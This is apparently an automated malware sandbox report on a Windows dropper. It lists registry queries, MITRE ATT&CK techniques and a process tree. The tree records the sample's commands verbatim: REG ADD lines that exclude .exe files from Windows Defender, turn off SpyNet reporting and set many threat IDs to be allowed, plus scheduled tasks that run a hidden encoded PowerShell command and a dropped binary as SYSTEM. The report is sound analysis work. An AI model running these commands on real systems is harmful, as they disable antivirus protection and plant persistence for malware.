649c75d99b6d8e237d8a8d0142796fcbfa7381674628201f474b58039144ec2a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bKwcWZekAnYWEgmozo.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4392	schtasks.exe
4288	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3080	powershell.EXE
3080	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3080	powershell.EXE

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 400	1624	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	78
PID 1624 wrote to memory of 400	1624	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	78
PID 1624 wrote to memory of 400	1624	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	78
PID 400 wrote to memory of 5048	400	Install.exe	79
PID 400 wrote to memory of 5048	400	Install.exe	79
PID 400 wrote to memory of 5048	400	Install.exe	79
PID 5048 wrote to memory of 1732	5048	Install.exe	82
PID 5048 wrote to memory of 1732	5048	Install.exe	82
PID 5048 wrote to memory of 1732	5048	Install.exe	82
PID 5048 wrote to memory of 1396	5048	Install.exe	84
PID 5048 wrote to memory of 1396	5048	Install.exe	84
PID 5048 wrote to memory of 1396	5048	Install.exe	84
PID 1396 wrote to memory of 2096	1396	forfiles.exe	86
PID 1396 wrote to memory of 2096	1396	forfiles.exe	86
PID 1396 wrote to memory of 2096	1396	forfiles.exe	86
PID 1732 wrote to memory of 2524	1732	forfiles.exe	87
PID 1732 wrote to memory of 2524	1732	forfiles.exe	87
PID 1732 wrote to memory of 2524	1732	forfiles.exe	87
PID 2524 wrote to memory of 4300	2524	cmd.exe	89
PID 2524 wrote to memory of 4300	2524	cmd.exe	89
PID 2096 wrote to memory of 5076	2096	cmd.exe	88
PID 2524 wrote to memory of 4300	2524	cmd.exe	89
PID 2096 wrote to memory of 5076	2096	cmd.exe	88
PID 2096 wrote to memory of 5076	2096	cmd.exe	88
PID 2096 wrote to memory of 4720	2096	cmd.exe	91
PID 2096 wrote to memory of 4720	2096	cmd.exe	91
PID 2096 wrote to memory of 4720	2096	cmd.exe	91
PID 2524 wrote to memory of 2080	2524	cmd.exe	90
PID 2524 wrote to memory of 2080	2524	cmd.exe	90
PID 2524 wrote to memory of 2080	2524	cmd.exe	90
PID 5048 wrote to memory of 4392	5048	Install.exe	92
PID 5048 wrote to memory of 4392	5048	Install.exe	92
PID 5048 wrote to memory of 4392	5048	Install.exe	92
PID 5048 wrote to memory of 820	5048	Install.exe	94
PID 5048 wrote to memory of 820	5048	Install.exe	94
PID 5048 wrote to memory of 820	5048	Install.exe	94
PID 3080 wrote to memory of 2220	3080	powershell.EXE	98
PID 3080 wrote to memory of 2220	3080	powershell.EXE	98
PID 5048 wrote to memory of 3756	5048	Install.exe	109
PID 5048 wrote to memory of 3756	5048	Install.exe	109
PID 5048 wrote to memory of 3756	5048	Install.exe	109
PID 5048 wrote to memory of 4288	5048	Install.exe	112
PID 5048 wrote to memory of 4288	5048	Install.exe	112
PID 5048 wrote to memory of 4288	5048	Install.exe	112
PID 3416 wrote to memory of 5024	3416	DIWhprC.exe	114
PID 3416 wrote to memory of 5024	3416	DIWhprC.exe	114
PID 3416 wrote to memory of 5024	3416	DIWhprC.exe	114

C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
"C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Users\Admin\AppData\Local\Temp\7zS65EE.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Users\Admin\AppData\Local\Temp\7zS6F25.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:5048
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2524
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:4300
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:2080
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2096
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:5076
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4720
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gWKrAZQKq" /SC once /ST 06:06:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:4392
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gWKrAZQKq"
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gWKrAZQKq"
      4⤵
      PID:3756
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKwcWZekAnYWEgmozo" /SC once /ST 18:58:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe\" q8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:4288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3928

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1984

C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe
C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\DIWhprC.exe q8 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:5024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery